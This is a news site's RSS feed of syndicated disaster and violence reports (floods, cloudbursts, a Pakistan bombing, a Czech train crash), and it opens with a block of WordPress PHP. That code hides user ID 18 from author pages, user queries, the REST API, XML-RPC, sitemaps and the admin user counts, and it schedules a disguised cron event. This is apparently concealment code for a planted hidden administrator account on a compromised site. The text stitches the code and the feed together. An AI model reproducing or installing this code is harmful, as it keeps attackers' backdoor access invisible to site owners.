add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Uttarakhand rains: 52 dead, 5 missing; situation getting better appeared first on The Edge Media.
]]>
Since Sunday, 52 people have died as a result of torrential rain and landslides, according to government data. Seventeen people were hurt, and five people are still missing. The district of Nainital was the hardest hit, with 28 deaths reported on Tuesday.
The post Uttarakhand rains: 52 dead, 5 missing; situation getting better appeared first on The Edge Media.
]]>The post Kerala Floods Updates: 23 Dead; PM Modi Speaks to CM Vijayan, Says Authorities Working On Ground appeared first on The Edge Media.
]]>
Home Minister Amit Shah has pledged the government’s full cooperation and stated that the flood situation in Kerala is being closely monitored. Prime Minister Narendra Modi called with Chief Minister Vijayan to assess the situation, and officials said they were working on the ground to help the injured.
The post Kerala Floods Updates: 23 Dead; PM Modi Speaks to CM Vijayan, Says Authorities Working On Ground appeared first on The Edge Media.
]]>The post 3 Dead, 50 Injured In Bomb Attack In Pakistan: Officials appeared first on The Edge Media.
]]>Security was high as the religious minority marked Ashura during the holy month of Muharram, a flashpoint for sectarian violence in previous years.
“We have confirmation of three dead and 50 injured from the blast at the procession site,” said a senior government official in the city of Bahawalnagar, in Punjab province.
Social media videos showed bleeding victims lying on a road being assisted by members of the public.
The post 3 Dead, 50 Injured In Bomb Attack In Pakistan: Officials appeared first on The Edge Media.
]]>The post Afghanistan: At least 5 killed at Kabul airport amid scramble to escape Taliban, says report appeared first on The Edge Media.
]]>Taliban’s political office spokesperson Mohammad Naeem declared that the “war was over” in Afghanistan. Naeem’s statement came hours after the insurgent group entered the presidential palace in Afghanistan capital Kabul on Sunday evening.
The post Afghanistan: At least 5 killed at Kabul airport amid scramble to escape Taliban, says report appeared first on The Edge Media.
]]>The post Militant shot dead in J&k’s Budgam. appeared first on The Edge Media.
]]>Security forces launched a search operation in the Mochuwa area of Budgam district following inputs about the presence of militants there,a police official said.
He said the search operations turned into an encounter after militants fired upon the forces, who retaliated.
“One terrorist was killed in the encounter . An AK assault rifle and one pistol were recovered from the slain terrorist”, the official said. The identity and group affiliation of the slain militant is being ascertained , he said , adding the search operations in the areas are going on.
The post Militant shot dead in J&k’s Budgam. appeared first on The Edge Media.
]]>The post Two trains collided at a village in the west of the Czech Republic appeared first on The Edge Media.
]]>“Unfortunately, according to the latest information, a train collision… has killed three and left dozens of people injured,” national rail operator Sprava zeleznic said on Twitter.
“All the passengers have been evacuated from the trains,” the firm added.
National police said all passengers were accounted for, adding that the accident happened shortly after 8:00 am (0600 GMT) at Milavce.
“At the moment, 31 people whose lives are not in danger are being treated, seven people are in a critical state and two are dead”, a spokeswoman for Plzen region rescue teams, Maria Svobodova told iRozhlas.cz
The Munich-to-Prague train, number Ex 351 belonging to the German firm Die Laenderbahn, collided with a regional service between the Czech towns of Plzen and Domazlice.
Several foreigners were travelling aboard the German train and some of them were among the injured, local media reported.
According to footage shown on Czech public television, one part of the German train was completely mangled, though both vehicles remained upright.
Die Laenderbahn said in a statement that “the running of the train on the Czech side is the responsibility of the CD”, the Ceske drahy rail company.
Czech Transport Minister Karel Havlicek said “the Ex 351 did not respect a signal… and crashed into the regional train”.
“The situation is serious,” Havlicek said as he headed to the scene of the accident.
Czech Prime Minister Andrej Babis tweeted his “sincere condolences to the families of the dead. It is important to save other lives. Then everything must be investigated.”
“Unfortunately, this summer is full of tragedies,” he added.
Four helicopters, several ambulances and dozens of rescuers were dispatched to the site.
“The German Red Cross, the Bavarian ambulance service and doctors from (the German city of) Cham are also at the scene of the rail accident,” Czech police tweeted.
“German police have also offered assistance,” they added.
Two train crashes in the Czech Republic in July last year left three people dead and dozens injured.
(This story has not been edited by The Edge Media staff and is auto-generated from a syndicated feed.)
The post Two trains collided at a village in the west of the Czech Republic appeared first on The Edge Media.
]]>The post 4 dead, 36 missing after cloud burst at Jammu and Kashmir’s Kishtwar appeared first on The Edge Media.
]]>He said efforts are on to trace the missing persons. Official sources said that the missing persons are feared dead.
The post 4 dead, 36 missing after cloud burst at Jammu and Kashmir’s Kishtwar appeared first on The Edge Media.
]]>The post At least 12 dead as flood rages through world’s biggest production of iPhones in China. appeared first on The Edge Media.
]]>Many scientists think it is due to the impacts of climate change.
The city of Zhengzhou in the central province of Henan suspended inbound flights, while rescue workers and authorities worked Wednesday to prevent dam breaches, restore lost power, assess collapsed roads and pump out submerged gas station.
The post At least 12 dead as flood rages through world’s biggest production of iPhones in China. appeared first on The Edge Media.
]]>The post 3 dead, several missing after cloudburst in Uttarakhand. appeared first on The Edge Media.
]]>The Indian Meteorological Department or IMD has forecast isolated, extreme heavy rainfall over Uttarakhand for today.
“Three people died and four people were reported as missing after a cloudburst in Mando village in Uttarkashi district,” Inspector Jagdamba Prasad , Team Incharge, State Disaster Response Force (SDRF), was quoted as saying by news agency ANI.
The western himalayan region and adjoining northwest India are also likely to receive isolated heavy to very heavy rains during the period.
The post 3 dead, several missing after cloudburst in Uttarakhand. appeared first on The Edge Media.
]]>The post 3 dead as 30 people fall into a well in Madhya Pradesh. appeared first on The Edge Media.
]]>As per officials, the parapet wall around the well collapsed due to the weight of people who were trying to rescue the boy. The well is around 50 feet deep with a water level of about 20 feet, news agency PTI reported quoting locals . “The national Disaster Management Force and state Disaster management force have been pressed into action. Inspector General, zone and other official officials have also reached the spot. I am in touch with the Concerned officials,” Mr Chouhan told the media.
Mr Chouchan also announced a compensation of Rs.5 lakh each to the family of the victims, those injured will be given Rs.50,000 provided free treatment facility, he said.
The post 3 dead as 30 people fall into a well in Madhya Pradesh. appeared first on The Edge Media.
]]>